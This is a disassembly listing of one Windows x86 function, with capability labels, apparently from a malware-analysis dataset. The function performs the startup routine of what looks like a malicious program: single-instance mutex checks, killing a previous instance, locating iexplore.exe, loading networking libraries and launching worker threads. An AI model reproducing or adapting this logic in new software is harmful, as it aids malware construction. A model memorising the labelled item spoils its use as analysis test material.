Function at 0x403a40
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Get program files directory
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403b46
push 0x407af0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x403b46
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
push 0x40
push 0
lea edx, [ebp - 0x7c]
push edx
call fcn.00401940
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 8]
push eax
push str._s_d
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, 1
test edx, edx
je 0x403b46
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403b2c
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004011e0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x403b2a
mov eax, dword [ebp - 4]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403b46
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403aae
cmp dword [0x408234], 0
je 0x403b6d
mov ecx, dword [0x408234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x403b6d
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403b4f
cmp dword [0x408228], 0
jne 0x403ba7
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.WindowsResilienceServiceMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x408228], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403ba7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x408230], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x408b0c], eax
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x408b78], eax
cmp dword [0x40822c], 0
jne 0x403ca2
call fcn.00401490
mov dword [0x408b70], eax
push 0x208
push 0
push 0x408420
call fcn.00401940
add esp, 0xc
cmp dword [0x408b70], 1
jne 0x403c3b
mov dword [ebp - 4], 0x2a
push 0x408420
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x407b48
push 0x408420
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403c67
mov dword [ebp - 4], 0x26
push 0x408420
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Internet_Exploreriexplore.exe
push 0x408420
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x408b10], eax
push 0x208
push 0x4088c0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4088c0
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
call fcn.004034d0
add esp, 4
jmp 0x403d18
push 0x407bc8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.gdi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.rpcrt4.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1c
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00401940
add esp, 0xc
push 0x1c
lea edx, [ebp - 0x3c]
push edx
push entry0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x38]
mov dword [0x408b10], eax
call fcn.00402de0
test eax, eax
jne 0x403d26
call fcn.00402ef0
call fcn.004032f0
push str.GetLastInputInfo
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x408b7c], eax
call fcn.00401410
push 0x9c40
push 8
mov ecx, dword [0x408b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x408b6c], eax
mov dword [0x4082a8], 0x9c40
mov dword [0x408b1c], 0
push str.NoProcess
push 0x408260
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x408b18], 0x124f80
mov dword [0x408b14], 0xb71b00
push 0x18
push 0
push 0x408ae0
call fcn.00401940
add esp, 0xc
push 0x408ae0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x408af8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x408afc], eax
push 5
push 0x408400
call fcn.004012e0
add esp, 8
push 0xa
push 0
push 0x4083f0
call fcn.00401940
add esp, 0xc
push 0xa
push 0x4083f0
push 0x408400
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x408400
call fcn.00401540
add esp, 0x10
cmp dword [0x40823c], 0
jne 0x403e8a
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 1
push 0
push 0x13880
push 0
push 4
lea edx, [ebp - 0x20]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x40823c], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x40823c]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x4082a0], eax
push 0x13880
push 0
mov ecx, dword [0x4082a0]
push ecx
call fcn.00401940
add esp, 0xc
jmp 0x403ea4
push 0
push 0
push 0
push 6
mov edx, dword [0x40823c]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x4082a0], eax
mov dword [0x4082a4], 0
push 1
call fcn.004034d0
add esp, 4
push 0
push 0
push 0
push 0x401120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
push 0x3000
push 0x65000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x408240], eax
push 0
push 0
push 0
push 0x402410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404180
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408b00], eax
push 0
push 0
push 0
push 0x4031a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408b08], eax
push 0
push 0
push 0
push 0x403620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408b04], eax
call fcn.004029b0
mov esp, ebp
pop ebp
ret